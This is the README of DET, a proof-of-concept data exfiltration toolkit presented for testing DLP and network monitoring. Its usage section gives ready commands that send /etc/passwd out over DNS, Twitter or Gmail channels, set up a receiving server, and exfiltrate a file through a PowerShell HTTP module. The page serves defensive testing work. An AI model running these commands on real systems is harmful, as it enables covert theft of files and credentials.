DET (extensible) Data Exfiltration Toolkit
DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time.
This is a Proof of Concept aimed at identifying possible DLP failures. This should never be used to exfiltrate sensitive/live data (say on an assessment)
The idea was to create a generic toolkit to plug any kind of protocol/service to test implmented Network Monitoring and Data Leakage Prevention (DLP) solutions configuration, against different data exfiltration techniques.
The primary repository has now moved to here.
Slides
DET has been presented at BSides Ljubljana on the 9th of March 2016 and the slides will be available here.
Slides are available here.

Usage
Help usage
python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
[-L]
Data Exfiltration Toolkit (SensePost)
optional arguments:
-h, --help show this help message and exit
-c CONFIG Configuration file (eg. '-c ./config-sample.json')
-f FILE File to exfiltrate (eg. '-f /etc/passwd')
-d FOLDER Folder to exfiltrate (eg. '-d /etc/')
-p PLUGIN Plugins to use (eg. '-p dns,twitter')
-e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp')
-L Server mode
Server-side:
To load every plugin:
python det.py -L -c ./config.json
To load only twitter and gmail modules:
python det.py -L -c ./config.json -p twitter,gmail
To load every plugin and exclude DNS:
python det.py -L -c ./config.json -e dns
Client-side:
To load every plugin:
python det.py -c ./config.json -f /etc/passwd
To load only twitter and gmail modules:
python det.py -c ./config.json -p twitter,gmail -f /etc/passwd
To load every plugin and exclude DNS:
python det.py -c ./config.json -e dns -f /etc/passwd
And in PowerShell (HTTP module):
PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'
Modules
So far, DET supports multiple protocols, listed here:
